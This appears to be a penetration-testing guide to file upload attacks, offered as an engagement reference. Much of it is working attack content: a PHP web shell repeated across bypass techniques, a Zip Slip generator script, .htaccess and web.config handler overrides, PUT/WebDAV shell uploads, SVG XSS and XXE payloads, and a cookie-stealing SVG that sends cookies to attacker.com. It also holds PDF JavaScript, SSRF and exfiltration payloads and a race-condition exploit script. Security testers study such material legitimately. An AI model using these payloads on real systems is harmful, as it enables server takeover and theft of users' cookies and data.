Exploitation A03 A04

File Upload Attacks

File upload vulnerabilities allow attackers to upload malicious files to web servers, potentially leading to remote code execution or complete server compromise. This guide focuses on practical bypass techniques and exploitation paths you can use as a real engagement reference.

Danger

File upload attacks can lead to complete server compromise. Always ensure you have proper authorization before testing upload functionality.

Tools & Resources

Fuxploider

Automated file upload vulnerability scanner

git clone fuxploider GitHub β†’

Weevely

Web shell generator & post-exploitation

apt install weevely GitHub β†’

ExifTool

Metadata manipulation for payload injection

apt install exiftool GitHub β†’

Upload Scanner

Burp Suite extension for upload testing

BApp Store GitHub β†’

pdf-parser

Analyze PDFs for malicious content

pip install pdf-parser GitHub β†’

peepdf

PDF analysis and exploitation tool

pip install peepdf GitHub β†’

Understanding File Upload Vulnerabilities

File upload vulnerabilities occur when applications fail to properly validate uploaded files. Attackers can exploit weak validation to upload malicious files that execute on the server or client side.

Common Vulnerable Scenarios

  • Profile picture/avatar uploads
  • Document upload portals (resume, PDF, etc.)
  • File sharing applications
  • CMS media libraries
  • Import/export functionality
  • Backup restore features

Quick test flow (5–10 minutes)

  1. Find storage & serving: Upload a benign file and locate its final URL/path (public link, CDN, or internal-only).
  2. Confirm execution surface: Is it rendered by the browser (SVG/PDF) or executed by the server (PHP/ASP/JSP)?
  3. Run bypass matrix: Start with extension and Content-Type, then check magic bytes and polyglots.
  4. Check write-what-where: Test path traversal and config uploads when filenames/paths are user-controlled.
  5. Probe processing: If the app generates previews/thumbnails, prioritize PDF and server-side fetching/SSRF behaviors.

Recon the Upload Pipeline

Before trying payloads, map how the application handles uploads end-to-end. This is often the difference between β€œcool bypass” and a defensible, reproducible finding.

Questions to answer

  • ☐ Where is the file stored (local disk, object storage, DB, temp directory)?
  • ☐ Is it renamed (UUID), re-encoded (image processing), or wrapped (zip/container)?
  • ☐ How is it served (same origin, separate domain, CDN, signed URL, private bucket proxy)?
  • ☐ What response discloses IDs/paths (JSON fields, Location header, HTML)?
  • ☐ Are there authorization checks on download/view (IDOR on file IDs)?

Signals to capture

  • ☐ Response body fields (fileId, url, key, path, mime)
  • ☐ Response headers (Content-Type, Content-Disposition, X-Content-Type-Options)
  • ☐ Final served headers (cache-control, CSP, nosniff, CORP/CORS)
  • ☐ Any server-side processing events (thumbnail endpoints, background jobs)

Cloud & Object Storage Patterns

Modern apps often upload directly to S3/GCS/Azure via presigned URLs. This shifts the attack surface:

Presigned URL Abuse

If the app generates a signed URL for PUT without restricting Content-Type or size:

  • Upload malicious HTML/SVG/JS directly to the bucket.
  • Overwrite existing assets if key is predictable.
  • Upload massive files (DoS) if size isn't signed.

Bucket Misconfiguration

Even if the upload is safe, the bucket policy might be weak:

  • Check for public list access (ls s3://...).
  • Check if uploaded files are served with Content-Type: application/octet-stream (forces download) or rendered (XSS risk).

Testing Matrix

Use this matrix to systematically test bypass vectors. Stop when you find a working path, but document all attempts.

Vector Action / Payload Expected Signal False Positives
Extension .php.jpg, .pHp, .phtml, .php%00.jpg File saved with executable extension; server executes it. File saved but served as text/plain or forced download.
Content-Type Change application/x-php to image/jpeg Upload accepted; file content remains unchanged. App accepts it but re-encodes the image (destroying payload).
Magic Bytes Prepend GIF89a or %PDF- to script Bypasses "is this an image?" checks. Image parsers (ImageMagick) choke on the garbage data appended.
Metadata (EXIF) exiftool -Comment='<?php... Payload survives image resizing/stripping. Metadata is stripped but file is saved.
Polyglot Valid JPG + Valid PHP (phar/jpg) Passes strict image validation AND executes. Complex to generate; requires specific server config to execute.
Zip Slip Archive entry: ../../shell.php File extracted to web root (overwrite). Extraction fails or flattens directory structure.

Extension Bypass Techniques

Attackers use various techniques to bypass file extension filters.

Double Extensions

Many applications only check the last extension or have flawed parsing:

Double Extension Bypass
bash
# Double extension bypasses
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.txt

# Apache specific (mod_mime)
shell.php.blah     # .blah not recognized, falls back to .php

# IIS specific
shell.asp;.jpg     # IIS stops at semicolon
Alternative Extensions
Alternative Extensions
bash
# PHP alternatives
.php, .php2, .php3, .php4, .php5, .php7
.pht, .phtm, .phtml
.pgif, .shtml, .phar, .inc

# Case manipulation
.pHp, .PhP, .PHP, .Php5

# ASP alternatives  
.asp, .aspx, .cer, .asa
.config, .ashx, .asmx
Null Byte & Special Characters
Null Byte & Special Characters
bash
# Null byte injection (older systems, PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg

# Special characters
shell.php .jpg        # Trailing space (Windows)
shell.php..jpg        # Double dots
shell.php/            # Trailing slash
shell.php::$DATA      # NTFS alternate data stream

Content-Type Bypass

Applications may validate the Content-Type header instead of actual file content. Intercept the request and modify the header.

Content-Type Manipulation
http
# Intercept upload in Burp Suite and change Content-Type:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream

# Full multipart request example:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

Magic Bytes Bypass

Applications may check file signatures (magic bytes). Prepend valid headers to your payload.

Magic Bytes Injection
bash
# Common magic bytes/file signatures
GIF89a         # GIF image
GIF87a         # GIF image (older)
\xFF\xD8\xFF   # JPEG image
\x89PNG\r\n   # PNG image
%PDF-          # PDF document
PK             # ZIP archive

# Example: GIF header with PHP payload
GIF89a
<?php system($_GET['cmd']); ?>

# Using ExifTool to inject into image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

Tip

Use real images and inject code into metadata fields (EXIF comments, IPTC, XMP) for more robust bypass that survives image processing.

Polyglot Files

Polyglots are files that are valid in multiple formats simultaneously:

Polyglot Generation Commands
Polyglot File Creation
bash
# JPEG Polyglot creation with ExifTool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg
cp legit.jpg shell.php.jpg

# GIF Polyglot - starts with GIF header
echo -e 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php

# PNG polyglot using tEXt chunk
convert -size 32x32 xc:white shell.png
exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.png

Path Traversal in Uploads

Manipulate the filename to write files to arbitrary locations.

Preconditions: Works when the server uses (or partially trusts) the user-provided filename/path during storage, extraction, or move operations. Expected signal: The file becomes accessible in an unintended location, overwrites an existing file, or changes application behavior.

Path Traversal Upload
http
# Filename manipulation in Content-Disposition
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fshell.php"
Content-Disposition: form-data; name="file"; filename="....//....//shell.php"

# Windows path traversal
filename="..\\..\\..\\inetpub\\wwwroot\\shell.aspx"

# URL encoded variations
filename="..%252f..%252fshell.php"    # Double URL encode

Zip Slip (Archive Extraction)

If the application accepts archives (zip, tar, jar, war) and extracts them without validating the filenames inside, you can overwrite files anywhere on the system.

Attack Concept

A malicious zip file can contain entries with directory traversal characters (e.g., ../../shell.php). When extracted, the library blindly follows the path, writing the file outside the intended destination.

Zip Slip Generator
python
# Python script to create a Zip Slip payload
import zipfile

def create_zip_slip(filename, target_path, content):
    with zipfile.ZipFile(filename, 'w') as zf:
        # The magic: filename contains traversal characters
        zf.writestr(target_path, content)

# Create a zip that writes shell.php to web root
create_zip_slip('evil.zip', '../../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')

print("Created evil.zip")

Filename Vulnerabilities

Sometimes the file content is irrelevant, and the attack vector is the filename itself.

XSS via Filename

If the filename is reflected in the UI (e.g., "Upload complete: [filename]"), it can trigger XSS.

<img src=x onerror=alert(1)>.png "><svg/onload=alert(1)>.jpg

Command Injection

If the server uses the filename in a shell command (e.g., mv $filename /storage) without quoting.

sleep 10.jpg ; sleep 10; .jpg

Configuration File Upload

When config uploads are realistic

  • ☐ Upload directory is within a web-executable path (or served by the same web server)
  • ☐ The server honors per-directory configuration files (.htaccess, web.config, .user.ini)
  • ☐ The app does not restrict filenames beginning with . or reserved names
  • ☐ You can place config and payload in the same effective directory

.htaccess Attack (Apache)

Preconditions: Apache + AllowOverride enabled for the upload directory. Expected signal: A normally-static extension is executed/handled as PHP.

.htaccess PHP Execution
apache
# Make .jpg files execute as PHP
AddType application/x-httpd-php .jpg

# Or use handler
AddHandler php5-script .jpg

# Enable execution for specific extension
<FilesMatch "\.innocent$">
    SetHandler application/x-httpd-php
</FilesMatch>

web.config Attack (IIS)

Preconditions: IIS where the upload directory honors web.config overrides. Expected signal: A non-executable extension is mapped to a handler.

web.config Handler Manipulation
xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspx" path="*.jpg" verb="*" 
           modules="IsapiModule" 
           scriptProcessor="%windir%\System32\inetsrv\asp.dll" 
           resourceType="Unspecified"/>
    </handlers>
  </system.webServer>
</configuration>

PUT Method & WebDAV

Sometimes you don't need a file upload form. If the server has WebDAV enabled or misconfigured HTTP verbs, you might be able to upload files directly using the PUT method.

PUT / WebDAV Upload
http
# Test for PUT support
OPTIONS / HTTP/1.1
Host: target.com

# Response might include: Allow: GET, POST, PUT, DELETE

# Upload file via PUT
PUT /uploads/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 30

<?php system($_GET['cmd']); ?>

# If PUT is blocked, try MOVE (WebDAV)
PUT /uploads/shell.txt HTTP/1.1
...
MOVE /uploads/shell.txt HTTP/1.1
Destination: /uploads/shell.php

SVG & XML Upload Attacks

Tip: For SVG payloads, check how the file is served (inline vs download), the MIME type (image/svg+xml), and whether X-Content-Type-Options: nosniff is present.

SVG with XSS

SVG XSS Payload
xml
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

<!-- Cookie stealer SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="http://attacker.com/steal?c="+document.cookie;
  </script>
</svg>

SVG XXE Attack

SVG XXE Payload
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

PDF Active Content Testing

PDFs can contain active content including JavaScript, form actions, and embedded files that execute when opened. Many applications accept PDF uploads (resumes, documents, reports) without sanitizing active content, creating opportunities for XSS, SSRF, and phishing attacks.

Why PDF Attacks Matter

  • Browser rendering: PDFs viewed in-browser can execute JavaScript in the page context
  • Server-side processing: PDF libraries (wkhtmltopdf, WeasyPrint) may fetch external resources
  • Desktop viewers: Acrobat Reader executes JavaScript and can trigger network requests
  • Automatic preview: Many apps auto-generate thumbnails, triggering server-side rendering
Client-side: PDF JavaScript / XSS tests

This payload creates a minimal valid PDF that executes JavaScript when opened. The OpenAction directive triggers automatically when the PDF loads.

PDF JavaScript Payload
text
% PDF with JavaScript alert
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
4 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert('XSS via PDF');) >>
endobj
xref
0 5
trailer
<< /Size 5 /Root 1 0 R >>
startxref
%%EOF

How to Use:

  1. Save the code above as malicious.pdf
  2. Upload to the target application's PDF upload feature
  3. Access the uploaded PDF URL directly in browser
  4. If JavaScript executes, the app is vulnerable to PDF-based XSS
Server-side: SSRF / external fetch tests

These payloads help detect server-side PDF rendering (thumbnail generation, preview services) that may fetch external URLs. Use an interaction service (e.g., Burp Collaborator) and treat this as blind verification.

PDF SSRF Payload (SubmitForm)
text
% PDF with form submission to external URL
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [5 0 R] >>
endobj
5 0 obj
<< /Type /Annot /Subtype /Widget /FT /Btn /T (submit)
   /A << /Type /Action /S /SubmitForm 
         /F << /Type /FileSpec /F (http://YOUR-BURP-COLLABORATOR.oastify.com) >> 
         /Flags 4 >> >>
endobj
xref
trailer
<< /Root 1 0 R >>
%%EOF

How to Use:

  1. Replace the URL with your Burp Collaborator or webhook.site URL
  2. Save as ssrf-test.pdf and upload to target
  3. If the server generates thumbnails or processes the PDF, it will make a request to your server
  4. Check Collaborator/webhook for incoming HTTP requests
  5. If request received, the app is vulnerable to blind SSRF via PDF processing
PDF Data Exfiltration (submitForm)
text
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R 
   /AA << /O << /S /JavaScript 
   /JS (
     var xhr = app.doc.submitForm({
       cURL: 'http://YOUR-SERVER.com/collect',
       cSubmitAs: 'PDF'
     });
   ) >> >>
>>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
trailer << /Root 1 0 R >>
%%EOF

Warning

Server-side rendering: If the application uses wkhtmltopdf, WeasyPrint, or similar tools to convert HTML to PDF or generate thumbnails, test for SSRF by including external image/CSS URLs. The server may fetch these resources during rendering.
Analysis tooling: inspect PDF structure

Use these tools to analyze PDF structure and detect active content:

PDF Analysis Commands
bash
# pdf-parser - List all objects in a PDF
pdf-parser.py malicious.pdf

# Search for JavaScript in PDF
pdf-parser.py --search javascript malicious.pdf

# Extract specific object (e.g., object 4)
pdf-parser.py --object 4 malicious.pdf

# peepdf - Interactive PDF analysis
peepdf -i malicious.pdf

# Inside peepdf interactive mode:
PPDF> tree                    # Show PDF structure
PPDF> object 4                # View specific object
PPDF> js_analyse              # Analyze JavaScript
PPDF> extract js > script.js  # Extract JS to file

# pdfid - Quick overview of suspicious elements
pdfid.py malicious.pdf
# Look for: /JS, /JavaScript, /OpenAction, /AA, /Launch
Generate test PDFs: Python snippet

Programmatically create test PDFs for controlled validation.

Python PDF Generation
python
# Using PyPDF2 or reportlab for PDF generation
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter

# Create PDF with JavaScript
def create_js_pdf(filename, js_code):
    c = canvas.Canvas(filename, pagesize=letter)
    c.drawString(100, 750, "Test Document")
    
    # Add JavaScript action (requires manual PDF editing after)
    c.save()
    
    # Append JavaScript manually
    with open(filename, 'ab') as f:
        js_obj = f"""
4 0 obj
<< /Type /Action /S /JavaScript /JS ({js_code}) >>
endobj
"""
        f.write(js_obj.encode())

# Alternative: Use raw PDF creation
def create_ssrf_pdf(callback_url):
    pdf_content = f"""%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction<</S/URI/URI({callback_url})>>>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
trailer<</Size 4/Root 1 0 R>>
startxref
%%EOF"""
    return pdf_content

# Write SSRF test PDF
with open('ssrf_test.pdf', 'w') as f:
    f.write(create_ssrf_pdf('http://burpcollaborator.net'))

PDF Testing Checklist

Client-Side Tests

  • ☐ JavaScript executes in browser PDF viewer
  • ☐ JavaScript executes in Adobe Reader
  • ☐ Form actions trigger on open
  • ☐ External URLs loaded (images, CSS)
  • ☐ Embedded files can be extracted

Server-Side Tests

  • ☐ Thumbnail generation fetches URLs
  • ☐ PDF preview triggers requests
  • ☐ PDF-to-image conversion vulnerable
  • ☐ Metadata extraction processes JS
  • ☐ Internal network accessible (SSRF)

Race Condition Attacks

If the application uploads then validates/moves files, there may be a window for exploitation.

When it applies

  • ☐ Upload is first written to a web-accessible temp location
  • ☐ Validation/deletion happens asynchronously or after write
  • ☐ You can guess or observe the temporary filename/URL

Race Condition Window

sequenceDiagram participant Attacker participant Server participant FileSystem Attacker->>Server: POST /upload (shell.php) Server->>FileSystem: Write shell.php to /uploads/ Note right of FileSystem: File exists & is executable! par Race Window Server->>Server: Validate File (Virus Scan / Ext Check) Attacker->>Server: GET /uploads/shell.php?cmd=id Server-->>Attacker: 200 OK (uid=33(www-data)) end Server->>FileSystem: Delete shell.php (Invalid) Server-->>Attacker: 403 Forbidden (Upload Failed)
Race Condition Exploit
python
# Race condition concept:
# 1. Application saves file temporarily
# 2. Application validates file
# 3. Application deletes if invalid

# Attack: Access file between steps 1 and 2
# Use Burp Intruder or Turbo Intruder for timing

# Python threading example
import threading
import requests

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post(upload_url, files=files)

def access():
    requests.get(shell_url + "?cmd=id")

# Run both simultaneously
for i in range(100):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=access)
    t1.start()
    t2.start()

Verification & Evidence (Engagement-Ready)

Evidence checklist

Capture

  • ☐ Upload request (full multipart body + headers)
  • ☐ Upload response (file id/path/url + status code)
  • ☐ Final served URL response (headers + body/snippet)
  • ☐ Any transformation evidence (renamed, re-encoded, stripped metadata)

Prove impact safely

  • ☐ Use a benign marker (unique string) before attempting higher impact payloads
  • ☐ Prefer out-of-band verification for SSRF (collaborator/webhook)
  • ☐ Avoid destructive writes/overwrites; demonstrate β€œwrite-what-where” using harmless files
  • ☐ Document preconditions (server type, file serving behavior, auth requirements)

File Upload Bypass Checklist

Extension Bypasses

  • ☐ Double extensions (.php.jpg)
  • ☐ Alternative extensions (.phtml, .php5)
  • ☐ Case variations (.pHp, .PHP)
  • ☐ Null bytes (.php%00.jpg)
  • ☐ Special characters (space, semicolon)
  • ☐ NTFS alternate streams (::$DATA)

Content Bypasses

  • ☐ Content-Type manipulation
  • ☐ Magic bytes injection
  • ☐ Polyglot files
  • ☐ EXIF metadata injection
  • ☐ SVG with embedded script
  • ☐ PDF with active content

Path Attacks

  • ☐ Path traversal (../)
  • ☐ URL encoded traversal
  • ☐ Zip slip vulnerability
  • ☐ Absolute path injection

Config Files

  • ☐ .htaccess upload
  • ☐ web.config upload
  • ☐ .user.ini upload
  • ☐ php.ini overrides

Practice Labs

Reporting Guide

[VLN-001] Remote Code Execution via Unrestricted File Upload

Severity: Critical
CVSS: 9.8

Description

The application's profile image upload functionality at /api/user/avatar fails to properly validate file extensions and content types. An attacker can bypass the client-side checks and upload a PHP web shell by changing the Content-Type header to image/jpeg. The uploaded file is stored in the web root at /uploads/avatars/ and is executable by the web server.

Impact

  • Remote Code Execution: Complete compromise of the web server.
  • Data Exfiltration: Access to database credentials, source code, and user data.
  • Lateral Movement: Use the compromised server as a pivot point into the internal network.

Reproduction Steps

Reproduction Steps
text
1. Log in to the application and navigate to Profile Settings.
2. Select a valid image (test.jpg) but intercept the request with Burp Suite.
3. Modify the filename to "shell.php" and the file content to:
   <?php system($_GET['cmd']); ?>
4. Ensure Content-Type is set to "image/jpeg".
5. Forward the request. Note the response contains the path "/uploads/avatars/shell.php".
6. Navigate to /uploads/avatars/shell.php?cmd=id to confirm execution.